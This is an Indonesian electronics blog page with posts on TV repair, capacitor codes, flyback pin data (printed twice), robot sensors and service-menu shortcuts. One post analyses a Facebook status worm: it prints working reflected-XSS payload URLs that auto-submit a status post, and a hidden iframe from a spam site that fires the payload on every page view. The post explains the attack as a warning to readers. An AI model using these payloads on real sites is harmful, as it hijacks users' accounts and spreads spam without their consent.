Selasa, 10 April 2012
Senin, 09 April 2012
Servis-LCD.com website resmi Electronic Clinic
Seiring dengan perkembangan Electronic Clinic sebagai perusahaan jasa pelayanan dan perbaikan LCD-LED TV, Plasma TV dan LCD-LED Monitor, sudah seharusnya kami memiliki website resmi dengan top level domain. Setelah melewati proses pencarian dan berbagai pertimbangan, kami memutuskan untuk menggunakan alamat www.Servis-LCD.com
Dengan penggunaan top level domain ini diharapkan dapat meningkatkan citra kualitas dan profesionalisme Electronic Clinic dalam memberikan pelayanan terhadap konsumen. Dengan telah mengudaranya website resmi tersebut, dengan ini blog Electronic Clinic ini hanya sebagai pendukung dari website resmi tersebut. Namun, tentu kami akan tetap terus meng-update dan mengelola blog ini sebagai sarana informasi dan komunikasi dengan rekan-rekan blogger, rekan-rekan teknisi, maupun para pelanggan yang terhormat.
Beberapa pertimbangan kami menggunakan top level domain dan hosting berbayar:
Semoga keseriusan kami ini dapat meningkatkan kepercayaan konsumen kepada Electronic Clinic | LCD-LED & Plasma TV Specialist. Semoga.
Dengan penggunaan top level domain ini diharapkan dapat meningkatkan citra kualitas dan profesionalisme Electronic Clinic dalam memberikan pelayanan terhadap konsumen. Dengan telah mengudaranya website resmi tersebut, dengan ini blog Electronic Clinic ini hanya sebagai pendukung dari website resmi tersebut. Namun, tentu kami akan tetap terus meng-update dan mengelola blog ini sebagai sarana informasi dan komunikasi dengan rekan-rekan blogger, rekan-rekan teknisi, maupun para pelanggan yang terhormat.
Beberapa pertimbangan kami menggunakan top level domain dan hosting berbayar:
- Nama lebih singkat dan mudah diingat. Anda dapat bandingkan, solectv.blogspot.com dengan servis-lcd.com
- Lebih profesional. Menggunakan domain dan hosting berbayar lebih memperlihatkan keseriusan kami dalam menjalankan bisnis, dibanding menggunakan domain & hosting gratisan.
- Pengguna top level domain dapat lebih dipercaya karena registrasinya menggunakan alamat dan identitas yang jelas (Dapat dilacak melalui whois lookup)
- Sinkronisasi antara alamat situs dengan alamat e-mail, misalnya website www.servis-lcd.com dengan e-mail sariftv@servis-lcd.com
- Subdomain dan hosting gratisan (seperti blogspot.com dan wordpress.com) dapat menutup layanan gratisnya sewaktu-waktu yang dapat menyebabkan hilangnya data-data dan artikel yang telah kita tulis selama ini.
- Pengelolaan website yang lebih fleksibel
Semoga keseriusan kami ini dapat meningkatkan kepercayaan konsumen kepada Electronic Clinic | LCD-LED & Plasma TV Specialist. Semoga.
Minggu, 08 April 2012
mengenal sensor robot
Sensor termasuk komponen yang penting pada sebuah robot. Dengan adanya sensor membuat robot yang dibuat seakan-akan dapat mengendalikan dirinya sendiri, tanpa kabel, bahkan tanpa dikendalikan dari jarak jauh oleh manusia. Nah, berikut jenis-jenis sensor dan penjelasan singkatnya.:
a. Internal sensor, yaitu sensor yang dipasang di dalam bodi robot.
Sensor internal diperlukan untuk mengamati posisi, kecepatan, dan akselerasi berbagai sambungan mekanik pada robot, dan merupakan bagian dari
b. External sensor, yaitu sensor yang dipasang diluar bodi robot.
Sensor eksternal diperlukan karena dua macam alasan yaitu:
1) Untuk keamanan dan
2) Untuk penuntun.
Yang dimaksud untuk keamanan” adalah termasuk keamanan robot, yaitu perlindungan terhadap robot dari kerusakan yang ditimbulkannya sendiri, serta keamanan untuk peralatan, komponen, dan orang-orang dilingkungan dimana robot tersebut digunakan. Berikut ini adalah dua contoh sederhana untuk mengilustrasikan kasus diatas.
Contoh pertama: andaikan sebuah robot bergerak keposisinya yang baru dan ia menemui suatu halangan, yang dapat berupa mesin lain misalnya. Apabila robot tidak memiliki sensor yang mampu mendeteksi halangan tersebut, baik sebelum atau setelah terjadi kontak, maka akibatnya akan terjadi kerusakan.
Contoh kedua: sensor untuk keamanan diilustrasikan dengan problem robot dalam mengambil sebuah telur. Apabila pada robot dipasang pencengkram mekanik (gripper), maka sensor harus dapat mengukur seberapa besar tenaga yang tepat untuk mengambil telor tersebut. Tenaga yang terlalu besar akan menyebabkan pecahnya telur, sedangkan apabila terlalu kecil telur akan jatuh terlepas.
Kini bagaimana dengan sensor untuk penuntun atau pemandu?. Katogori ini sangatlah luas, tetapi contoh berikut akan memberikan pertimbangan.
Contoh pertama: komponen yang terletak diatas ban berjalan tiba di depan robot yang diprogram untuk menyemprotnya. Apa yang akan terjadi bila sebuah komponen hilang atau dalam posisi yang salah?. Robot tentunya harus memiliki sensor yang dapat mendeteksi ada tidaknya komponen, karena bila tidak ia akan menyemprot tempat yang kosong. Meskipun tidak terjadi kerusakan, tetapi hal ini bukanlah sesuatu yang diharapkan terjadi pada suatu pabrik.
Contoh kedua: sensor untuk penuntun diharapkan cukup canggih dalam pengelasan. Untuk melakukan operasi dengan baik, robot haruslah menggerakkan tangkai las sepanjang garis las yang telah ditentukan, dan juga bergerak dengan kecepatan yang tetap serta mempertahankan suatu jarak tertentu dengan permukaannya.
Sesuai dengan fungsi sensor sebagai pendeteksi sinyal dan meng-informasikan sinyal tersebut ke sistem berikutnya, maka peranan dan fungsi sensor akan dilanjutkan oleh transduser. Karena keterkaitan antara sensor dan transduser begitu erat maka pemilihan transduser yang tepat dan sesuai juga perlu diperhatikan.
Cara Membaca nilai Kapasitor .
Membaca Nilai Kapasitor memang tidak sesulit membaca nilai pada resistor, namun Cara Membaca nilai kapasitor juga wajib kita ketahui untuk mengetahui karakteristik dan spesifikasinya bilamana terjadi kerusakan pada rangkaian.
Pada kapasitor yang berukuran besar, nilai kapasitansi umumnya ditulis dengan angka yang jelas. Lengkap dengan nilai tegangan maksimum dan polaritasnya. Misalnya pada kapasitor elco dengan jelas tertulis kapasitansinya sebesar 22uF/25v.
Kapasitor keramik yang ukuran fisiknya mungil dan kecil biasanya hanya bertuliskan 2 (dua) atau 3 (tiga) angka saja. Jika hanya ada dua angka satuannya adalah pF (pico farads). Sebagai contoh, kapasitor yang bertuliskan dua angka 47, maka kapasitansi kapasitor tersebut adalah 47 pF. Jika ada 3 digit, angka pertama dan kedua menunjukkan nilai nominal, sedangkan angka ke-3 adalah faktor pengali. Misalnya seperti gambar disamping yaitu menunjukkan 154 berarti angka pertama dan kedua menunjukkan nilai yaitu 15 dan angka ketiga angka 4 yang berarti faktor pengali= 10000, nilai kapasitor keramik tersebut adalah 15×10000=150000 pF=150 nF=0,15uF , berikut adalah tabel pengali nilai kapasitor :
| Angka ke-3 | Pengali/Multiplier (dua digit pertama memberi Anda nilai di Pico-Farads) |
| 0 | 1 |
| 1 | 10 |
| 2 | 100 |
| 3 | 1,000 |
| 4 | 10,000 |
| 5 | 100,000 |
| 6 not used | |
| 7 not used | |
| 8 | .01 |
| 9 | .1 |
Pada beberapa jenis kapasitor ada juga yang menggunakan toleransi yang biasanya menggunakan kode huruf :
| Simbol huruf | Toleransi |
| D | +/- 0.5 pF |
| F | +/- 1% |
| G | +/- 2% |
| H | +/- 3% |
| J | +/- 5% |
| K | +/- 10% |
| M | +/- 20% |
| P | +100% ,-0% |
| Z | +80%, -20% |
Faktor pengali sesuai dengan angka nominalnya, berturut-turut 1 = 10, 2 = 100, 3 = 1.000, 4 = 10.000 dan seterusnya. Misalnya pada kapasitor keramik tertulis 104, maka kapasitansinya adalah 10 x 10.000 = 100.000pF atau = 100nF. Contoh lain misalnya tertulis 222, artinya kapasitansi kapasitor tersebut adalah 22 x 100 = 2200 pF = 2.2 nF.
Selain dari kapasitansi ada beberapa karakteristik penting lainnya yang perlu diperhatikan. Biasanya spesifikasi karakteristik ini disajikan oleh pabrik pembuat didalam datasheet. Berikut ini adalah beberapa spesifikasi penting tersebut.
Tegangan Kerja (working voltage)
Tegangan kerja adalah tegangan maksimum yang diijinkan sehingga kapasitor masih dapat bekerja dengan baik. Para elektro- mania barangkali pernah mengalami kapasitor yang meledak karena kelebihan tegangan. Misalnya kapasitor 10uF 25V, maka tegangan yang bisa diberikan tidak boleh melebihi 25 volt dc. Umumnya kapasitor-kapasitor polar bekerja pada tegangan DC dan kapasitor non-polar bekerja pada tegangan AC.
Temperatur Kerja Kapasitor
Nilai yang ditunjukkan pada baan kapasitor masih memenuhi spesifikasinya jika bekerja pada suhu yang sesuai. Pabrikan pembuat kapasitor umumnya membuat kapasitor yang mengacu pada standar popular. Ada 4 standar popular yang biasanya tertera di badan kapasitor seperti C0G (ultra stable), X7R (stable) serta Z5U dan Y5V (general purpose).
Pada sebagian besar rangkaian TV biasanya jika terjadi kerusakan terhadap satu nilai di kapasitor maka kapasitor tersebut bisa diganti ke nilai yang lebih besar atau paling tidak mendekati nilai asli, namun tidak semua kapasitor bisa diganti dengan pengganti yang berbeda nilai, biasanya di bagian osilator. Seperti misalnya kapasitor pada Osilator Power Supply yang biasanya mempunyai nilai 22-47uF hendaknya diganti dengan nilai persis dengan yang asli, karena nilai tersebut tentu saja berpengaruh terhadap tegangan output yang dihasilkan ( berpengaruh pada kerja osilator supply). Demikian artikel tentang Cara Membaca nilai kapasitor.
Data Pin Kaki Flyback Tv
154-064P Goldstar
154-177B
FCK-14B047
C _ 180v _ B+ _ Gnd _ 16v _ 24v _ 40v _ Abl _ Heater _ Afc
F 0101KM-SA
F 0141 PE-M
C _ B+ _ Gnd _ 24v _ 16v _ Afc _ 180v _ Gnd _ Heater _ Abl
K 148 TC
C - 180v _ B+ - Gnd _ Afc _ 16v _ Abl _ Heater _ Nc _ Nc
FCG 2045 BL
Afc - 16,5v _ Heater _ Boost-up _ B+83v _ Gnd _ Nc _ C _ Abl _ 175v _ 24v
FSA 16012M
DCF 2077A
DCF 1577
FSA 16012M
C - B+ - Afc _ Boost-up _ 16,5 _ Abl _ 25v _ Gnd _ 185v _Heater
JF 0501-1206 sansui
C _ B+ _ 180v _ 16v _ 25v _ Heater _ Gnd _ Abl _ Afc _ Nc
JF0601-19577 (polytron)
C_B+_gnd_200v_nc_Ht_nc_abl_+12_-12
FCK 14A006 digitec, polytron
FCM 2015HE
FCM 14A032
C _ B+ _ Abl _ 24v _ Heater _ 16v _ 180v _ Gnd _ Nc _ Abl
FCM-20B061N (polytron)
c_B+_gnd_185_nc_Ht_Nc_abl_+12_-12
FUY-20C009 (akari)
C_180_B+_gnd_nc_24_nc_abl_Ht_afc
BSC 65A changhong
C _ B+ _ 190v _ Gnd _ Nc _ Nc _ 14,5v _ Abl _ Heater _ Afc
154 - 132A intel
154 - 132C
C _ 40v _ 16,5 _ Heater _ Gnd _ B+ _ 180v _ Gnd _ Abl _40v
FCK 1411 L 01
FCM 14A025
C _ Boost-up _ Abl _ B+ _ Gnd _ 180v _ 24V _ Heater _ Afc _ 16,5v
154 189H
154 277C
FCM 20B027
C _ B+ _ 180v _ 16v _ 24v _ Heater _ Gnd _ Abl _ Afc _ Nc
MC - FBC-015
LCE CF0854
C _ B+ _ Gnd _ Afc _ 185 _ Heater _ 25 _ 15 _ Gnd _ Abl
FSV - 20A001 samsung
FCK - 14A033
FSV - 14A001
C _ B+125v _ Abl _ Nc _ Gnd _ 185 _ 46 _ Heater _ Nc _ 16,5
FTK-14A004P (samsung)
C_B+125v_ABL_ Nc_ Gnd_ 180v_24v_Ht_afc_16,5
8-598-858--00 sony KV-PG21P70
8-598-811
C _ B+135v _ 200v _ Heater _ Gnd _ -16,5(vertkl) _ Gnd(vertkl) _ +16,5(vertkl) _ Nc _ Abl
8-598-960-00 sony KV-G21P1
C_b+115V_200V_ht_ gnd_-13v_gnd_+15v_nc_abl
TFB 4125 DY (thosiba)
TFB 4125 HY
C _ B+ _ 180 _ Gnd _ Nc _ 26v _ 12v _ Abl _ Heater _ Afc
BSC 22-01-06
BSC 25-48
BSC 25-4803
BSC 24-01N362
C _ B+ _ Nc _ afc _ gnd _ Heater _abl _ nc
BSC 24-01N4014K tv china
BSC 25-T1010A
BSC 25-09N21A
BSC 25-05N2110A
BSC 25-09N20ETep _ C _ Tep _ B+ _ Tep _ Tep _ gnd _ Heater _ abl _ 180v
BSC25-2678S konka K2169TC
C_200v_B+_ gnd_afc_16v_abl_ht_nc_nc
JY0301-0206 tv china 29
C_B+_nc_afc_gnd_HT_abl_tep_tep_tep
DCF 2217J
C _ B+ _ afc _ boost-up _ 16,5 _ 24 _ abl _ gnd _ 200v _ heater
154-177B
FCK-14B047
C _ 180v _ B+ _ Gnd _ 16v _ 24v _ 40v _ Abl _ Heater _ Afc
F 0101KM-SA
F 0141 PE-M
C _ B+ _ Gnd _ 24v _ 16v _ Afc _ 180v _ Gnd _ Heater _ Abl
K 148 TC
C - 180v _ B+ - Gnd _ Afc _ 16v _ Abl _ Heater _ Nc _ Nc
FCG 2045 BL
Afc - 16,5v _ Heater _ Boost-up _ B+83v _ Gnd _ Nc _ C _ Abl _ 175v _ 24v
FSA 16012M
DCF 2077A
DCF 1577
FSA 16012M
C - B+ - Afc _ Boost-up _ 16,5 _ Abl _ 25v _ Gnd _ 185v _Heater
JF 0501-1206 sansui
C _ B+ _ 180v _ 16v _ 25v _ Heater _ Gnd _ Abl _ Afc _ Nc
JF0601-19577 (polytron)
C_B+_gnd_200v_nc_Ht_nc_abl_+12_-12
FCK 14A006 digitec, polytron
FCM 2015HE
FCM 14A032
C _ B+ _ Abl _ 24v _ Heater _ 16v _ 180v _ Gnd _ Nc _ Abl
FCM-20B061N (polytron)
c_B+_gnd_185_nc_Ht_Nc_abl_+12_-12
FUY-20C009 (akari)
C_180_B+_gnd_nc_24_nc_abl_Ht_afc
BSC 65A changhong
C _ B+ _ 190v _ Gnd _ Nc _ Nc _ 14,5v _ Abl _ Heater _ Afc
154 - 132A intel
154 - 132C
C _ 40v _ 16,5 _ Heater _ Gnd _ B+ _ 180v _ Gnd _ Abl _40v
FCK 1411 L 01
FCM 14A025
C _ Boost-up _ Abl _ B+ _ Gnd _ 180v _ 24V _ Heater _ Afc _ 16,5v
154 189H
154 277C
FCM 20B027
C _ B+ _ 180v _ 16v _ 24v _ Heater _ Gnd _ Abl _ Afc _ Nc
MC - FBC-015
LCE CF0854
C _ B+ _ Gnd _ Afc _ 185 _ Heater _ 25 _ 15 _ Gnd _ Abl
FSV - 20A001 samsung
FCK - 14A033
FSV - 14A001
C _ B+125v _ Abl _ Nc _ Gnd _ 185 _ 46 _ Heater _ Nc _ 16,5
FTK-14A004P (samsung)
C_B+125v_ABL_ Nc_ Gnd_ 180v_24v_Ht_afc_16,5
8-598-858--00 sony KV-PG21P70
8-598-811
C _ B+135v _ 200v _ Heater _ Gnd _ -16,5(vertkl) _ Gnd(vertkl) _ +16,5(vertkl) _ Nc _ Abl
8-598-960-00 sony KV-G21P1
C_b+115V_200V_ht_ gnd_-13v_gnd_+15v_nc_abl
TFB 4125 DY (thosiba)
TFB 4125 HY
C _ B+ _ 180 _ Gnd _ Nc _ 26v _ 12v _ Abl _ Heater _ Afc
BSC 22-01-06
BSC 25-48
BSC 25-4803
BSC 24-01N362
C _ B+ _ Nc _ afc _ gnd _ Heater _abl _ nc
BSC 24-01N4014K tv china
BSC 25-T1010A
BSC 25-09N21A
BSC 25-05N2110A
BSC 25-09N20ETep _ C _ Tep _ B+ _ Tep _ Tep _ gnd _ Heater _ abl _ 180v
BSC25-2678S konka K2169TC
C_200v_B+_ gnd_afc_16v_abl_ht_nc_nc
JY0301-0206 tv china 29
C_B+_nc_afc_gnd_HT_abl_tep_tep_tep
DCF 2217J
C _ B+ _ afc _ boost-up _ 16,5 _ 24 _ abl _ gnd _ 200v _ heater
Perbedaan ROBOT
ROBOT SUMO
- Untuk membedakan nama robot supaya tidak rancu antar satu robot dengan yang lain, tiap robot diberi nama sesuai dengan kegunaannya. Disarankan untuk mereka yang pertama kali merakit untuk belajar sumo robot. Sesuai dengan namanya robot ini hanya dapat berjalan (dengan roda/tractor) maju, mundur, kiri, kanan dan mendorong. Itulah sebabnya dinamakan sumo layaknya pegulat sumo dari Jepang yang dalam pertandingan dikatakan menang bila dapat mendorong lawannya keluar dari arena. Dalam kompetesi robot sumo tiap peserta harus mematuhi peraturan yang diselanggarakan oleh panitia. Baik tentang tinggi, lebar, beban dan peralatan yang disandang robot harus sesuai ketentuan. Robot dikatakan menang bila berhasil mendorong robot lainnya keluar dari arena. Kompetisi robot sumo sudah banyak dilakukan oleh anak-anak seusia SD di Negeri Thailand, China dan Singapura. Ada baiknya kita sering melihat pertandingan Sumo Jepang untuk bisa memenangkan pertandingan ini. Kalo anda suka bertengkar dengan teman jangan malu untuk belajar robot ini untuk melampiaskan hobi anda. Dijamin tidak akan babak belur.
Koneksi komputer dengan robot ada dua cara. Pertama dengan kabel serial dan kedua dengan remote blue tooth. Yang umum digunakan beberapa siswa untuk belajar adalah seri Sumo Man MR-9642E. Robot ini dilengkapi dengan sensor infra red untuk mendeteksi adanya musuh.
Spesifikasi adalah sebagai berikut :
- Penggerak ada 2 roda berbentuk tractor dengan 1 motor DC.
- Sensor cahaya (infra red), jarak deteksi: 35 cm (maks).
- Terdapat timer (range: 0.5 - 7.0 detik).
- Catu daya 4 baterai AA. Dimensi: 13 x 13,7 x 12 cm.
Sekarang sudah tersedia SUMO BOT. Sebuah kit robot sumo yang membuat sebuah robot sumo yang dapat diprogram. Robot ini dikontrol oleh basic stamp 2 microcontroller. Dengan 2 sensor cahaya dan infrared proximity detector robot ini dapat diprogram dengan built-in:
- Random Movement = Bergerak random
- Photovore = Bergerak mencari cahaya
- Photophobe = Bergerak menghindari cahaya
- Maze solver = Bergerak mengikuti jalur yang ditentukan.
Program Basic Stamp layaknya program Visual Basic (dulu namanya BASICA language) dimana kita bisa memprogram atau mengatur gerakan robot lewat bahasa itu kemudian mentransfernya lewat koneksi blue tooth ke robot tersebut. Untuk versi terbaru dari seri ini sudah ada yang bisa menghindari rintangan.
ROBOT QuadCrawler
Robot kit produksi pabrik robot Parallax yang berpenggerak 4 lengan kaki layaknya binatang kura-kura.
Masih menggunakan Serial & USB Compatible. Robot ini mengajarkan pada kita tentang gerakan kaki yang benar sebuah robot. Produksi parallax banyak yangmeninggalkan kaki roda ataupun traktor. Versi terbaru dari QuadCrawler sudah ada yang menggunakan koneksi blue tooth sebagai koneksinya.
Spesifikasinya:Masih menggunakan Serial & USB Compatible. Robot ini mengajarkan pada kita tentang gerakan kaki yang benar sebuah robot. Produksi parallax banyak yangmeninggalkan kaki roda ataupun traktor. Versi terbaru dari QuadCrawler sudah ada yang menggunakan koneksi blue tooth sebagai koneksinya.
- Menggunakan modul Basic Stamp 2
- Chassis aluminium
- Terdiri dari 8 servo Hitec, 1 sensor jarak, 1 Board of Education programming board, dan 1 module Parallax Servo Controller
- Tersedia antarmuka serial UART dan USB
Penyebaran Link Berantai Facebook
Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.
Analisa
Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang
http://tinyurl.com/sampahh';document.forms[0].submit();}</script>URL tersebut akan saya pecah menjadi 3 bagian:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni oranghttp://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan StatusDari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpCq6Udftporxl6iMaOBysvHk11oY1topJ6dokn17jOxPSt8dZ_VE7VY-k8ONJYzIlfp_A-9rOh7dE5vsKAsvLHXNU-AP3xpIBdo_l6EuTWXeIfs7sjCfSMacM-VuuU8qgPvYu5B-ctM/s320/Hacked.jpg"/>Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang
http://tinyurl.com/sampahh';document.forms[0].submit();}</script>Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:
Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.
Jenis Sensor
Sensor, benda satu ini juga cukup penting dalam dunia elektronika, terlebih kalau ktia ingin membuat robot. Ada apa saja jenis sensor itu? Check this out!
1. Sensor Suhu
Sensor suhu disebut sebagai thermistor. Nilai tahanan thermistor akan semakin berkurang seiring naiknya suhu.Pada thermistor, suhu direpresentasikan dalam bentuk sinyal tegangan yang dihasilkan oleh rangkaian pembagi tegangan.
2. Sensor Cahaya
Disebut juga light dependent resistor. Sensor ini nilai tahanannya semakin berkurang seiring dengan meningkatnya intensitas cahaya. Komponen ini dan komponen thermistor paling bagus digunakan sebagai rangkaian pembagi tegangan yang menghasilkan sinyal tegangan.Sebut saja fotodioda, yang sempat dibahas pada artikel sebelumnya, merupakan salah satu jenis komponen sensor cahaya.Sensor cahaya terdapat pada gambar berikut ini.
3. Sensor Gaya
Komponen bernama strain gauge (pengukur tekanan mekanis) sangat peka terhadap perubahan gaya mekanik. Alat ini tersusun atas selembar kertas foil logam tipis, yang dibentuk sedemikian rupa menjadi benang-benang yang sangat halus. Lapisan film plastik membungkus keseluruhan kertas ini
4. Sensor Suara
Suara dapat dideteksi dengan mikrofon seperti komponen mikrofon kapasitor.
Untuk efisiensi, umumnya sensor suara yang digunakan ialah “microphone insert”, sebuah isi mikrofon tanpa badan dan kaki penyangga.Piranti ini merupakan dasar dari mikrofon, memiliki 2 kaki sambungan dibagian belakang. Di atas adalah gambarnya.
Salah satu jenis dari mikrofon insert yakni mikrofon kristal mampu menghasilkan sinyal output tanpa memerlukan catu daya. Berikut adalah gambarnya
1. Sensor Suhu
Sensor suhu disebut sebagai thermistor. Nilai tahanan thermistor akan semakin berkurang seiring naiknya suhu.Pada thermistor, suhu direpresentasikan dalam bentuk sinyal tegangan yang dihasilkan oleh rangkaian pembagi tegangan.
2. Sensor Cahaya
Disebut juga light dependent resistor. Sensor ini nilai tahanannya semakin berkurang seiring dengan meningkatnya intensitas cahaya. Komponen ini dan komponen thermistor paling bagus digunakan sebagai rangkaian pembagi tegangan yang menghasilkan sinyal tegangan.Sebut saja fotodioda, yang sempat dibahas pada artikel sebelumnya, merupakan salah satu jenis komponen sensor cahaya.Sensor cahaya terdapat pada gambar berikut ini.
3. Sensor Gaya
Komponen bernama strain gauge (pengukur tekanan mekanis) sangat peka terhadap perubahan gaya mekanik. Alat ini tersusun atas selembar kertas foil logam tipis, yang dibentuk sedemikian rupa menjadi benang-benang yang sangat halus. Lapisan film plastik membungkus keseluruhan kertas ini
4. Sensor Suara
Suara dapat dideteksi dengan mikrofon seperti komponen mikrofon kapasitor.
Untuk efisiensi, umumnya sensor suara yang digunakan ialah “microphone insert”, sebuah isi mikrofon tanpa badan dan kaki penyangga.Piranti ini merupakan dasar dari mikrofon, memiliki 2 kaki sambungan dibagian belakang. Di atas adalah gambarnya.
Salah satu jenis dari mikrofon insert yakni mikrofon kristal mampu menghasilkan sinyal output tanpa memerlukan catu daya. Berikut adalah gambarnya
Tip MENU SERVICE TV
AIWA
Bongkar remot aslinya, tekan tombol kosong di atas tombol VolUp.
AKARI
Tekan Sleep di remot tahan >> tekan Menu di panel TV.
AKIRA
Tekan tombol AV di remote >> tekan Menu >> tekan QuickView >> tekan Mute. Pindah menu dengan Timer, mengubah nilai dengan VolUp/VolDown.
CRYSTAL
TV pada posisi standby, Tekan VolUp ditahan >> tekan VolDown, keduanya ditahan hingga TV hidup sendiri.
GOLDSTAR
Secara bersama-sama tekan Menu + VolUp + VolDown + ChDown pada panel TV.
HITACHI
hitachi/hitachi_fujian: Matikan tv dengan tombol power panel, tekan tombol AV di panel ditahan >> hidupkan TV dengan tombol power TV, tombol AV masih ditahan hingga tv menyala sendiri.
JVC
Tekan OSD/Display ditahan >> tekan Picture (VSM standard).
alternatif1: Tekan OSD/Display/Info ditahan >> tekan Mute.
alternatif2: Tekan OSD/Display/Info ditahan >> tekan Cinema/Game.
LG
flatron: Tekan OK di remot ditahan >> tekan OK di panel TV, keduanya ditahan kira-kira 5 detik.
alternatif: Tekan Menu di remot, tekan menu diremot lagi ditahan >> tekan Menu di panel TV, keduanya ditahan kira-kira 5 detik.
TV CHINA
